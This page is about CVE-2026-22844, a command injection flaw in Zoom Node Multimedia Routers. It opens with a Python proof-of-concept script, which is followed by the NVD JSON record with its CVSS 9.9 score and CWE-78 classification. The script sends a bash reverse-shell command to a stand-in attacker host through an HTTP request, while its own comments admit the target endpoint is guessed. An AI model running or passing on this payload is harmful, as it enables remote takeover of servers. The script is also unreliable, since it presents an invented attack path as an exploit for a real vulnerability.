CVE-2026-22844

# CVE-2026-22844 PoC - Zoom MMR Command Injection # Note: This is a conceptual PoC for educational purposes only import socket import struct def send_exploit(target_ip, target_port, command): """ Send command injection payload to Zoom MMR """ # Construct malicious payload # In real attack, attacker would identify the vulnerable endpoint payload = f";{command};" # Example: Send crafted network request sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Malicious request with command injection exploit_request = f"GET /api/mmr?cmd={payload} HTTP/1.1\r\n" exploit_request += f"Host: {target_ip}\r\n\r\n" sock.send(exploit_request.encode()) response = sock.recv(4096) sock.close() return response def main(): target = "<target_ip>" port = 8800 # Example port # Example: Execute reverse shell command cmd = "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" print(f"[*] Sending exploit to {target}:{port}") result = send_exploit(target, port, cmd) print(f"[*] Response received: {result}") if __name__ == "__main__": main() # Note: Actual PoC requires knowledge of specific vulnerable endpoint # Refer to Zoom Security Bulletin ZSB-26001 for official guidance

{"cve": {"id": "CVE-2026-22844", "sourceIdentifier": "[email protected]", "published": "2026-01-20T14:16:21.980", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Command Injection vulnerability in Zoom Node Multimedia Routers (MMRs) before version 5.2.1716.0 may allow a meeting participant to conduct remote code execution of the MMR via network access."}, {"lang": "es", "value": "Una vulnerabilidad de inyección de comandos en los Routers Multimedia (MMR) de Zoom Node anteriores a la versión 5.2.1716.0 podría permitir a un participante de la reunión realizar la ejecución remota de código del MMR a través del acceso a la red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-26001", "source": "[email protected]"}]}}